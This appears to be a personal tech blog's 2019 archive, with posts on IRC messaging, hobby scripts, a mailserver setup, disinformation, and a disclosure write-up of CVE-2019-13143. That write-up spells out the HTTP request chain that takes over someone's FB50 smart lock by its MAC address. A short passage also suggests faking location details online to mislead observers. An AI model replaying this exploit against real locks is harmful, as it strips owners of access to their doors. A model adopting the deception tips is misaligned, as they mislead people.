https://knowyourmeme.com/memes/dedotated-wam (dead meme, yes I know) ↩︎

IRC for DMs

2019-11-03T00:00:00Z

Honestly, it's pretty great

Nerdy and I decided to try and use IRC for our daily communications, as opposed to non-free alternatives like WhatsApp or Telegram. This is an account of how that went.

The status quo of instant messaging apps

I’ve tried a ton of messaging applications—Signal, WhatsApp, Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.

Signal: It straight up sucks on Android. Not to mention the centralized architecture, and OWS’s refusal to federate.

WhatsApp: Facebook’s spyware that people use without a second thought. The sole reason I have it installed is for University’s class groups; I can’t wait to graduate.

Telegram: Centralized architecture and a closed-source server. It’s got a very nice Android client, though.

Jami: Distributed platform, free software. I am not going to comment on this because I don’t recall what my experience was like, but I’m not using it now… so if that’s indicative of anything.

Matrix (Riot): Distributed network. Multiple client implementations. Overall, pretty great, but it’s slow. I’ve had messages not send / not received a lot of times. Matrix + Riot excels in group communication, but really sucks for one-to-one chats.

Slack / Discord: sigh

DeltaChat: Pretty interesting idea—on paper. Using existing email infrastructure for IM sounds great, but it isn’t all that cash in practice. Email isn’t instant, there’s always a delay of give or take 5 to 10 seconds, if not more. This affects the flow of conversation. I might write a small blog post later, revewing DeltaChat.¹

Why IRC?

It’s free, in all senses of the word. A lot of others have done a great job of answering this question in further detail, this is by far my favourite:

https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html

Using IRC’s private messages

This was the next obvious choice, but personal message buffers don’t persist in ZNC and it’s very annoying to have to do a /query nerdypepper (Weechat) or to search and message a user via Revolution IRC. The only unexplored option—using a channel.

Setting up a channel for DMs

A fairly easy process:

Set modes (on Rizon)²:
```
#crimson [+ilnpstz 3]
```
In essence, this limits the users to 3 (one bot), sets the channel to invite only, hides the channel from /whois and /list, and a few other misc. modes.
Notifications: Also a trivial task; a quick modification to lnotify.py to send a notification for all messages in the specified buffer (#crimson) did the trick for Weechat. Revolution IRC, on the other hand, has an option to setup rules for notifications—super convenient.
A bot: Lastly, a bot for a few small tasks—fetching URL titles, responding to .np (now playing) etc. Writing an IRC bot is dead simple, and it took me about an hour or two to get most of the basic functionality in place. The source is here. It is by no means “good code”; it breaks spectacularly from time to time.

In conclusion

As the subtitle suggests, using IRC has been great. It’s probably not for everyone though, but it fits my (and Nerdy’s) usecase perfectly.

P.S.: I’m not sure why the footnotes are reversed.

It’s in queue. ↩︎
Channel modes on Rizon. ↩︎

The intelligence conundrum

2019-10-28T00:00:00Z

To protect an asset, or to protect the people?

I watched the latest S.W.A.T.) episode a couple of days ago, and it highlighted some interesting issues that intelligence organizations face when working with law enforcement. Side note: it’s a pretty good show if you like police procedurals.

The problem

Consider the following scenario:

There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.
Local PD busts his operation and proceed to arrest him.
3-letter org steps in, wants him released.

So here’s the thing, his presence is a threat to public but at the same time, he can be a valuable long term asset—giving info on drug inflow, exchanges and perhaps even actionable intel on bigger fish who exist on top of the ladder. But he also seeks security. The 3-letter org must provide him with protection, in case he’s blown. And like in our case, they’d have to step in if he gets arrested.

Herein lies the problem. How far should an intelligence organization go to protect an asset? Who matters more, the people they’ve sworn to protect, or the asset? Because afterall, in the bigger picture, local PD and intel orgs are on the same side.

Thus, the question arises—how can we measure the “usefulness” of an asset to better quantify the tradeoff that is to be made? Is the intel gained worth the loss of public safety? This question remains largely unanswered, and is quite the predicament should you find yourself in it.

This was a fairly short post, but an interesting problem to ponder nonetheless.

Hacky scripts

2019-10-24T00:00:00Z

The most fun way to learn to code

As a CS student, I see a lot of people around me doing courses online to learn to code. Don’t get me wrong—it probably works for some. Everyone learns differently. But that’s only going to get you so far. Great you know the syntax, you can solve some competitive programming problems, but that’s not quite enough, is it? The actual learning comes from applying it in solving actual problems—not made up ones. (inb4 some seething CP bro comes at me)

Now, what’s an actual problem? Some might define it as real world problems that people out there face, and solving it probably requires building a product. This is what you see in hackathons, generally.

If you ask me, however, I like to define it as problems that you yourself face. This could be anything. Heck, it might not even be a “problem”. It could just be an itch that you want to scratch. And this is where hacky scripts come in. Unclear? Let me illustrate with a few examples.

Now playing status in my bar

If you weren’t aware already—I rice my desktop. A lot. And a part of this cohesive experience I try to create involves a status bar up at the top of my screen, showing the time, date, volume and battery statuses etc.

So here’s the “problem”. I wanted to have my currently playing song (Spotify), show up on my bar. How did I approach this? A few ideas popped up in my head:

Send playerctl’s STDOUT into my bar
Write a Python script to query Spotify’s API
Write a Python/shell script to query Last.fm’s API

The first approach bombed instantly. playerctl didn’t recognize my Spotify client and whined about some dbus issues to top it off. I spent a while in that rabbit hole but eventually gave up.

My next avenue was the Spotify Web API. One look at the docs and I realize that I’ll have to make more than one request to fetch the artist and track details. Nope, I need this to work fast.

Last resort—Last.fm’s API. Spolier alert, this worked. Also, arguably the best choice, since it shows the track status regardless of where the music is being played. Here’s the script in its entirety:

#!/usr/bin/env bash
# now playing
# requires the last.fm API key

source ~/.lastfm    # `export API_KEY="<key>"`
fg="$(xres color15)"
light="$(xres color8)"

USER="icyphox"
URL="http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"
URL+="&user=$USER&api_key=$API_KEY&format=json&limit=1&nowplaying=true"
NOTPLAYING=" "    # I like to have it show nothing
RES=$(curl -s $URL)
NOWPLAYING=$(jq '.recenttracks.track[0]."@attr".nowplaying' <<< "$RES" | tr -d '"')


if [[ "$NOWPLAYING" = "true" ]]
then
	TRACK=$(jq '.recenttracks.track[0].name' <<< "$RES" | tr -d '"')
	ARTIST=$(jq '.recenttracks.track[0].artist."#text"' <<< "$RES" | tr -d '"')
	echo -ne "%{F$light}$TRACK %{F$fg}by $ARTIST"
else
	echo -ne "$NOTPLAYING"
fi

The source command is used to fetch the API key which I store at ~/.lastfm. The fg and light variables can be ignored, they’re only for coloring output on my bar. The rest is fairly trivial and just involves JSON parsing with jq. That’s it! It’s so small, but I learnt a ton. For those curious, here’s what it looks like running:

Update latest post on the index page

This pertains to this very blog that you’re reading. I wanted a quick way to update the “latest post” section in the home page and the blog listing, with a link to the latest post. This would require editing the Markdown source of both pages.

This was a very interesting challenge to me, primarily because it requires in-place editing of the file, not just appending. Sure, I could’ve come up with some sed one-liner, but that didn’t seem very fun. Also I hate regexes. Did a lot of research (read: Googling) on in-place editing of files in Python, sorting lists of files by modification time etc. and this is what I ended up on, ultimately:

#!/usr/bin/env python3

from markdown2 import markdown_path
import os
import fileinput
import sys

# change our cwd
os.chdir("bin")

blog = "../pages/blog/"

# get the most recently created file
def getrecent(path):
    files = [path + f for f in os.listdir(blog) if f not in ["_index.md", "feed.xml"]]
    files.sort(key=os.path.getmtime, reverse=True)
    return files[0]

# adding an entry to the markdown table
def update_index(s):
    path = "../pages/_index.md"
    with open(path, "r") as f:
        md = f.readlines()
    ruler = md.index("|  --  | --: |\n")
    md[ruler + 1] = s + "\n"

    with open(path, "w") as f:
        f.writelines(md)

# editing the md source in-place
def update_blog(s):
    path = "../pages/blog/_index.md"
    s = s + "\n"
    for l in fileinput.FileInput(path, inplace=1):
        if "--:" in l:
            l = l.replace(l, l + s)
        print(l, end=""),


# fetch title and date
meta = markdown_path(getrecent(blog), extras=["metadata"]).metadata
fname = os.path.basename(os.path.splitext(getrecent(blog))[0])
url = "/blog/" + fname
line = f"| [{meta['title']}]({url}) | `{meta['date']}` |"

update_index(line)
update_blog(line)

I’m going to skip explaining this one out, but in essence, it’s one massive hack. And in the end, that’s my point exactly. It’s very hacky, but the sheer amount I learnt by writing this ~50 line script can’t be taught anywhere.

This was partially how vite was born. It was originally intended to be a script to build my site, but grew into a full-blown Python package. I could’ve just used an off-the-shelf static site generator given that there are so many of them, but I chose to write one myself.

And that just about sums up what I wanted to say. The best and most fun way to learn to code—write hacky scripts. You heard it here.

Status update

2019-10-17T00:00:00Z

Not weekly anymore, but was it ever?

I’ve decided to drop the “Weekly” part of the status update posts, since they were never weekly and—let’s be honest—they aren’t going to be. These posts are, henceforth, just “Status updates”. The date range can be inferred from the post date.

That said, here’s what I’ve been up to!

Void Linux

Yes, I decided to ditch Alpine in favor of Void. Alpine was great, really. The very comfy apk, ultra mnml system… but having to maintain a chroot for my glibc needs was getting way too painful. And the package updates are so slow! Heck, they’re still on kernel 4.xx on their supposed “bleeding” edge repo.

So yes, Void Linux it is. Still a very clean system. I’m loving it. I also undervolted my system using undervolt (-95 mV). Can’t say for sure if there’s a noticeable difference in battery life though. I’ll see if I can run some tests.

This should be the end of my distro hopping. Hopefully.

PyCon

Yeah yeah, enough already. Read my previous post.

This website

I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time using Netlify, though. I used to host my old blog which ran Hugo, there. I was tired of doing this terrible hack to maintain a single repo for both my source (master) and deploy (gh-pages). In essence, here’s what I did:

#!/usr/bin/env bash

git push origin master
# push contents of `build/` to the `gh-pages` branch
git subtree push --prefix build origin gh-pages

I can now simply push to master, and Netlify generates a build for me by installing vite, and running vite build. Very pleasant.

`mnmlwm`’s status

mnmlwm, for those unaware, is my pet project which aims to be a simple window manager written in Nim. I’d taken a break from it for a while because Xlib is such a pain to work with (or I’m just dense). Anyway, I’m planning on getting back to it, with some fresh inspiration from Dylan Araps’ sowm.

Other

I’ve been reading a lot of manga lately. Finished Kekkon Yubiwa Monogatari (till the latest chapter) and Another, and I’ve just started Kakegurui. I’ll reserve my opinions for when I update the reading log.

That’s about it, and I’ll see you—definitely not next week.

PyCon India 2019 wrap-up

2019-10-15T00:00:00Z

Pretty fun weekend, I'd say

I’m writing this article as I sit in class, back on the grind. Last weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India. It was my first PyCon, and my first ever talk at a major conference! This is an account of the all the cool stuff I saw, people I met and the talks I enjoyed. Forgive the lack of pictures—I prefer living the moment through my eyes.

Talks

So much ML! Not that it’s a bad thing, but definitely interesting to note. From what I counted, there were about 17 talks tagged under “Data Science, Machine Learning and AI”. I’d have liked to see more talks discussing security and privacy, but hey, the organizers can only pick from what’s submitted. ;)

With that point out of the way, here are some of the talks I really liked:

Python Packaging - where we are and where we’re headed by Pradyun
Micropython: Building a Physical Inventory Search Engine by Vinay
Ragabot - Music Encoded by Vikrant
Let’s Hunt a Memory Leak by Sanket
oh and of course, David Beazley’s closing keynote

My talk (!!!)

My good buddy Raghav and I spoke about our smart lock security research. Agreed, it might have been less “hardware” and more of a bug on the server-side, but that’s the thing about IoT right? It’s so multi-faceted, and is an amalgamation of so many different hardware and software stacks. But, anyway…

I was reassured by folks after the talk that the silence during Q/A was the “good” kind of silence. Was it really? I’ll never know.

Some nice people I met

Abhirath—A 200 IQ lad. Talked to me about everything from computational biology to the physical implementation of quantum computers.
Abin—He recognized me from my r/unixporn posts, which was pretty awesome.
Abhishek
Pradyun and Vikrant (linked earlier)

And a lot of other people doing really great stuff, whose names I’m forgetting.

Pictures!

It’s not much, and I can’t be bothered to format them like a collage or whatever, so I’ll just dump them here—as is.

C’est tout

Overall, a great time and a weekend well spent. It was very different from your typical security conference—a lot more chill, if you will. The organizers did a fantastic job and the entire event was put together really well. I don’t have much else to say, but I know for sure that I’ll be there next time.

That was PyCon India, 2019.

Thoughts on digital minimalism

2019-10-05T00:00:00Z

Put that screen down!

Ah yes, yet another article on the internet on this beaten to death subject. But this is inherently different, since it’s my opinion on the matter, and my technique(s) to achieve “digital minimalism”.

According to me, minimalism can be achieved on two primary fronts—the phone & the computer. Let’s start with the phone. The daily carry. The device that’s on our person from when we get out of bed, till we get back in bed.

The phone

I’ve read about a lot of methods people employ to curb their phone usage. Some have tried grouping “distracting” apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see how this would work, but YMMV. Another technique I see often is using a time governance app—like OnePlus’ Zen Mode—to enforce how much time you spend using specific apps, or the phone itself. I’ve tried this for myself, but I constantly found myself counting down the minutes after which the phone would become usable again. Not helpful.

My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There’s a simple principle behind it—if the app has a desktop alternative, like Twitter, Reddit, etc. use that instead. Here’s a list of apps that got nuked from my phone:

Twitter
Instagram (an exception, no desktop client)
Relay for Reddit
YouTube (disabled, ships with stock OOS)

The only non-productive app that I’ve let remain is Clover, a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that holds up. I’ve also allowed my personal messaging apps to remain, since removing those would be inconveniencing others.

I must admit, I often find myself reaching for my phone out of habit just to check Twitter, only to find that its gone. I also subconsciously tap the place where its icon used to exist (now replaced with my mail client) on my launcher. The only “fun” thing left on my phone to do is read or listen to music. Which is okay, in my opinion.

The computer

I didn’t do anything too nutty here, and most of the minimalism is mostly aesthetic. I like UIs that get out of the way.

My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that’s it. I don’t try to force myself to not use stuff—after all, I’ve reduced it elsewhere. :)

Now the question arises: Is this just a phase, or will I stick to it? What’s going to stop me from heading over to the Play Store and installing those apps back? Well, I never said this was going to be easy. There’s definitely some will power needed to pull this off. I guess time will tell.

Status update

2019-09-27T00:00:00Z

Alpine Linux shenaningans and more

It’s a lazy Friday afternoon here; yet another off day this week thanks to my uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened since then. Let’s get right into it!

My switch to Alpine

Previously, I ran Debian with Buster/Sid repos, and ever since this happened

$ dpkg --list | wc -l
3817

# or something in that ballpark

I’ve been wanting to reduce my system’s package count.

Thus, I began my search for a smaller, simpler and lighter distro with a fairly sane package manager. I did come across Dylan Araps’ KISS Linux project, but it seemed a little too hands-on for me (and still relatively new). I finally settled on Alpine Linux. According to their website:

Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox.

The installation was a breeze, and I was quite surprised to see WiFi working OOTB. In the past week of my using this distro, the only major hassle I faced was getting my Minecraft launcher to run. The JRE isn’t fully ported to musl yet.¹ The solution to that is fairly trivial and I plan to write about it soon. (hint: it involves chroots)

Packaging for Alpine

On a related note, I’ve been busy packaging some of the stuff I use for Alpine -- you can see my personal aports repository if you’re interested. I’m currently working on packaging Nim too, so keep an eye out for that in the coming week.

Talk selection at PyCon India!

Yes! My buddy Raghav (@_vologue) and I are going to be speaking at PyCon India about our recent smart lock security research. The conference is happening in Chennai, much to our convenience. If you’re attending too, hit me up on Twitter and we can hang!

Other

That essentially sums up the technical stuff that I did. My Russian is going strong, my reading however, hasn’t. I have yet to finish those books! This week, for sure.

Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and I think I like it? I still find myself coming back to metalcore/deathcore. Here’s a list of artists I discovered (and liked) recently:

Before I Turn
生 Conform 死 (couldn’t find any official YouTube video, check Spotify)
Treehouse Burning
Lee McKinney
Berried Alive (rediscovered)

That’s it for now, I’ll see you next week!

The Portola Project ↩︎

Status update

2019-09-17T00:00:00Z

A brief on what happened last week

This is something new I’m trying out, in an effort to write more frequently and to serve as a log of how I’m using my time. In theory, I will write this post every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on a format for this, but it will probably include a quick summary of the work I did, things I read, IRL stuff, etc.

With the meta stuff out of the way, here’s what went down last week!

My discovery of the XXIIVV webring

Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to the XXIIVV webring. I really like the idea of webrings. It creates a small community of sites and enables sharing of traffic among these sites. The XXIIVV webring consists mostly of artists, designers and developers and gosh, some of those sites are beautiful. Mine pales in comparison.

The webring also has a twtxt echo chamber aptly called The Hallway. twtxt is a fantastic project and its complexity-to-usefulness ratio greatly impresses me. You can find my personal twtxt feed at /twtxt.txt (root of this site).

Which brings me to the next thing I did this/last week.

`twsh`: a twtxt client written in Bash

I’m not a fan of the official Python client, because you know, Python is bloat. As an advocate of mnmlsm, I can’t use it in good conscience. Thus, began my authorship of a truly mnml client in pure Bash. You can find it here. It’s not entirely useable as of yet, but it’s definitely getting there, with the help of @nerdypepper.

Other

I have been listening to my usual podcasts: Crime Junkie, True Crime Garage, Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER. It’s pretty good—each episode is only about 30 mins and it hits the sweet spot, delvering both interesting security content and news.

My reading needs a ton of catching up. Hopefully I’ll get around to finishing up “The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.

I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly easy to pick up. Learning the Cyrillic script will require some relearning, especially with letters like в, н, р, с, etc. that look like English but sound entirely different. I think I’m pretty serious about learning this language—I’ve added the Russian keyboard to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the RU layout to my keyboard map too:

setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru

With that ends my weekly update, and I’ll see you next week!

Disinformation demystified

2019-09-10T00:00:00Z

Misinformation, but deliberate

As with the disambiguation of any word, let’s start with its etymology and definiton. According to Wikipedia, disinformation has been borrowed from the Russian word — dezinformatisya (дезинформа́ция), derived from the title of a KGB black propaganda department.

Disinformation is false information spread deliberately to deceive.

To fully understand disinformation, especially in the modern age, we need to understand the key factors of any successful disinformation operation:

creating disinformation (what)
the motivation behind the op, or its end goal (why)
the medium used to disperse the falsified information (how)
the actor (who)

At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.

In order to break monotony, I will also be using the terms “information operation”, or the shortened forms—“info op” & “disinfo”.

Creating disinformation

Crafting or creating disinformation is by no means a trivial task. Often, the quality of any disinformation sample is a huge indicator of the level of sophistication of the actor involved, i.e. is it a 12 year old troll or a nation state?

Well crafted disinformation always has one primary characteristic — “plausibility”. The disinfo must sound reasonable. It must induce the notion it’s likely true. To achieve this, the target — be it an individual, a specific demographic or an entire nation — must be well researched. A deep understanding of the target’s culture, history, geography and psychology is required. It also needs circumstantial and situational awareness, of the target.

There are many forms of disinformation. A few common ones are staged videos / photographs, recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.

Here’s a tweet from the grugq, showing a case of recontextualized imagery:

Disinformation.

The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.

Recontextualisation as threat vector. pic.twitter.com/Pko3f0xkXC
— thaddeus e. grugq (@thegrugq) June 23, 2019

Motivations behind an information operation

I like to broadly categorize any info op as either proactive or reactive. Proactively, disinformation is spread with the desire to influence the target either before or during the occurence of an event. This is especially observed during elections.¹ In offensive information operations, the target’s psychological state can be affected by spreading fear, uncertainty & doubt, or FUD for short.

Reactive disinformation is when the actor, usually a nation state in this case, screws up and wants to cover their tracks. A fitting example of this is the case of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over eastern Ukraine. This tragic incident has been attributed to Russian-backed separatists.² Russian media is known to have desseminated a number of alternative & some even conspiratorial theories³, in response. The number grew as the JIT’s (Dutch-lead Joint Investigation Team) investigations pointed towards the separatists. The idea was to muddle the information space with these theories, and as a result, potentially correct information takes a credibility hit.

Another motive for an info op is to control the narrative. This is often seen in use in totalitarian regimes; when the government decides what the media portrays to the masses. The ongoing Hong Kong protests is a good example.⁴ According to NPR:

Official state media pin the blame for protests on the “black hand” of foreign interference, namely from the United States, and what they have called criminal Hong Kong thugs. A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, who are demanding an end to an extradition bill with China and the ability to elect their own leader. Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police. …

Media used to disperse disinfo

As seen in the above example of totalitarian governments, national TV and newspaper agencies play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s popularity.

Twitter is another, obvious example. Due to the ease of creating accounts and the ability to generate activity programmatically via the API, Twitter bots are the go-to choice today for info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots), to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to get realtime insights into what sticks and what doesn’t. The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll factory — the Internet Research Agency (IRA) to create discussions about alternative theories.

In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties actively invest in creating group chats to spread political messages and memes. These parties have volunteers whose sole job is to sit and forward messages. Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases, this is disinformation without a motive, or the motive is hard to determine simply because the source is impossible to trace, lost in forwards.⁵ This is a difficult problem to combat, especially given the nature of the target audience.

The actors behind disinfo campaigns

I doubt this requires further elaboration, but in short:

nation states and their intelligence agencies
governments, political parties
other non/quasi-governmental groups
trolls

This essentially sums up the what, why, how and who of disinformation.

Personal OPSEC

This is a fun one. Now, it’s common knowledge that STFU is the best policy. But sometimes, this might not be possible, because afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might lead to your OPSEC being compromised. So if you really have to, you can feign activity using disinformation. For example, pick a place, and throw in subtle details pertaining to the weather, local events or regional politics of that place into your disinfo. Assuming this is Twitter, you can tweet stuff like:

“Ugh, when will this hot streak end?!”
“Traffic wonky because of the Mardi Gras parade.”
“Woah, XYZ place is nice! Especially the fountains by ABC street.”

Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.

And please, don’t do this:

Conclusion

The ability to influence someone’s decisions/thought process in just one tweet is scary. There is no simple way to combat disinformation. Social media is hard to control. Just like anything else in cyber, this too is an endless battle between social media corps and motivated actors.

A huge shoutout to Bellingcat for their extensive research in this field, and for helping folks see the truth in a post-truth world.

This episode of CYBER talks about election influence ops (features the grugq!). ↩︎
The Bellingcat Podcast’s season one covers the MH17 investigation in detail. ↩︎
Wikipedia section on MH17 conspiracy theories ↩︎
Chinese newspaper spreading disinfo ↩︎
Use an adblocker before clicking this. ↩︎

Setting up my personal mailserver

2019-08-15T00:00:00Z

This is probably a terrible idea…

A mailserver was a long time coming. I’d made an attempt at setting one up around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And I almost did this time too.¹

For this attempt, I wanted a simpler approach. I recall how terribly confusing Dovecot & Postfix were to configure and hence I decided to look for a containerized solution, that most importantly, runs on my cheap $5 Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB is actually available. So yeah, pretty tight.

What’s available

Turns out, there are quite a few of these OOTB, ready to deply solutions. These are the ones I came across:

poste.io: Based on an “open core” model. The base install is open source and free (as in beer), but you’ll have to pay for the extra stuff.
mailu.io: Free software. Draws inspiration from poste.io, but ships with a web UI that I didn’t need.
mailcow.email: These fancy domains are getting ridiculous. But more importantly they need 2 GiB of RAM plus swap?! Nope.
Mail-in-a-Box: Unlike the ones above, not a Docker-based solution but definitely worth a mention. It however, needs a fresh box to work with. A box with absolutely nothing else on it. I can’t afford to do that.
docker-mailserver: The winner.

So… `docker-mailserver`

The first thing that caught my eye in the README:

Recommended:

1 CPU

1GB RAM

Minimum:

1 CPU

512MB RAM

Fantastic, I can somehow squeeze this into my existing VPS. Setup was fairly simple & the docs are pretty good. It employs a single .env file for configuration, which is great. However, I did run into a couple of hiccups here and there.

One especially nasty one was docker / docker-compose running out of memory.

Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory

But it eventually worked after a couple of attempts.

The next thing I struggled with — DNS. Specifically, the with the step where the DKIM keys are generated². The output under
config/opendkim/keys/domain.tld/mail.txt
isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into a TXT record.

This is what it looks like.

mail._domainkey	IN	TXT	( "v=DKIM1; h=sha256; k=rsa; "
	  "p=<key>"
	  "<more key>" )  ;  -- -- DKIM key mail for icyphox.sh

But while configuring the record, you set “Type” to TXT, “Name” to mail._domainkey, and the “Value” to what’s inside the parenthesis ( ), removing the quotes "". Also remove the part that appears to be a comment ; -- -- ....

To simplify debugging DNS issues later, it’s probably a good idea to point to your mailserver using a subdomain like mail.domain.tld using an A record. You’ll then have to set an MX record with the “Name” as @ (or whatever your DNS provider uses to denote the root domain) and the “Value” to mail.domain.tld. And finally, the PTR (pointer record, I think), which is the reverse of your A record — “Name” as the server IP and “Value” as mail.domain.tld. I learnt this part the hard way, when my outgoing email kept getting rejected by Tutanota’s servers.

Yet another hurdle — SSL/TLS certificates. This isn’t very properly documented, unless you read through the wiki and look at an example. In short, install certbot, have port 80 free, and run

$ certbot certonly --standalone -d mail.domain.tld

Once that’s done, edit the docker-compose.yml file to mount /etc/letsencrypt in the container, something like so:

...

volumes:
    - maildata:/var/mail
    - mailstate:/var/mail-state
    - ./config/:/tmp/docker-mailserver/
    - /etc/letsencrypt:/etc/letsencrypt

...

With this done, you shouldn’t have mail clients complaining about wonky certs for which you’ll have to add an exception manually.

Why would you…?

There are a few good reasons for this:

Privacy

No really, this is the best choice for truly private email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t dispute it. Quoting Drew Devault³,

Truly secure systems do not require you to trust the service provider.

But you have to trust ProtonMail. They run open source software, but how can you really be sure that it isn’t a backdoored version of it?

When you host your own mailserver, you truly own your email without having to rely on any third-party. This isn’t an attempt to spread FUD. In the end, it all depends on your threat model™.

Decentralization

Email today is basically run by Google. Gmail has over 1.2 billion active users. That’s obscene. Email was designed to be decentralized but big corps swooped in and made it a product. They now control your data, and it isn’t unknown that Google reads your mail. This again loops back to my previous point, privacy. Decentralization guarantees privacy. When you control your mail, you subsequently control who reads it.

Personalization

Can’t ignore this one. It’s cool to have a custom email address to flex.

x@icyphox.sh vs gabe.newell4321@gmail.com

Pfft, this is no competition.

My tweet of frustration. ↩︎
Link to step in the docs. ↩︎
From his article on why he doesn’t trust Signal. ↩︎

Picking the FB50 smart lock (CVE-2019-13143)

2019-08-05T00:00:00Z

… and lessons learnt in IoT security

(originally posted at SecureLayer7’s Blog, with my edits)

The lock

The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands across many ecommerce sites, and has over, an estimated, 15k+ users.

The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.

We had two primary attack surfaces we decided to tackle—Bluetooth (BLE) and the Android app.

Via Bluetooth Low Energy (BLE)

Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made around 4 “unlocks” from the Android phone, as seen in the screenshot.

This is the value sent in the Write request:

We attempted replaying these requests using gattool and gattacker, but that didn’t pan out, since the value being written was encrypted.¹

Via the Android app

Reversing the app using jd-gui, apktool and dex2jar didn’t get us too far since most of it was obfuscated. Why bother when there exists an easier approach—BurpSuite.

We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.

The exploit

The entire exploit is a 4 step process consisting of authenticated HTTP requests:

Using the lock’s MAC (obtained via a simple Bluetooth scan in the vicinity), get the barcode and lock ID
Using the barcode, fetch the user ID
Using the lock ID and user ID, unbind the user from the lock
Provide a new name, attacker’s user ID and the MAC to bind the attacker to the lock

This is what it looks like, in essence (personal info redacted).

Request 1

POST /oklock/lock/queryDevice
{"mac":"XX:XX:XX:XX:XX:XX"}

Response:

{
   "result":{
      "alarm":0,
      "barcode":"<BARCODE>",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":<LOCK ID>,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0
   },
   "status":"2000"
}

Request 2

POST /oklock/lock/getDeviceInfo

{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}

Response:

   "result":{
      "account":"email@some.website",
      "alarm":0,
      "barcode":"<BARCODE>",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":<LOCK ID>,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0,
      "userId":<USER ID>
   }

Request 3

POST /oklock/lock/unbind

{"lockId":"<LOCK ID>","userId":<USER ID>}

Request 4

POST /oklock/lock/bind

{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}

That’s it! (& the scary stuff)

You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to their lock. They can’t even “rebind” to get it back, since the current owner (the attacker) needs to authorize that.

To add to that, roughly 15,000 user accounts’ info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named “carlock”, “garage”, “MainDoor”, etc.² This is terrifying.

shudders

Proof of Concept

PoC Video

Exploit code

Disclosure timeline

26th June, 2019: Issue discovered at SecureLayer7, Pune
27th June, 2019: Vendor notified about the issue
2nd July, 2019: CVE-2019–13143 reserved
No response from vendor
2nd August 2019: Public disclosure

Lessons learnt

DO NOT. Ever. Buy. A smart lock. You’re better off with the “dumb” ones with keys. With the IoT plague spreading, it brings in a large attack surface to things that were otherwise “unhackable” (try hacking a “dumb” toaster).

The IoT security scene is rife with bugs from over 10 years ago, like executable stack segments³, hardcoded keys, and poor development practices in general.

Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing field for cyber warfare and mass surveillance campaigns.

Researcher info

This research was done at SecureLayer7, Pune, IN by:

Anirudh Oppiliappan (me)
S. Raghav Pillai (@_vologue)
Shubham Chougule (@shubhamtc)

This article discusses a similar smart lock, but they broke the encryption. ↩︎
Thanks to Ilja Shaposhnikov (@drakylar). ↩︎
PDF ↩︎

Return Oriented Programming on ARM (32-bit)

2019-06-06T00:00:00Z

Making stack-based exploitation great again!

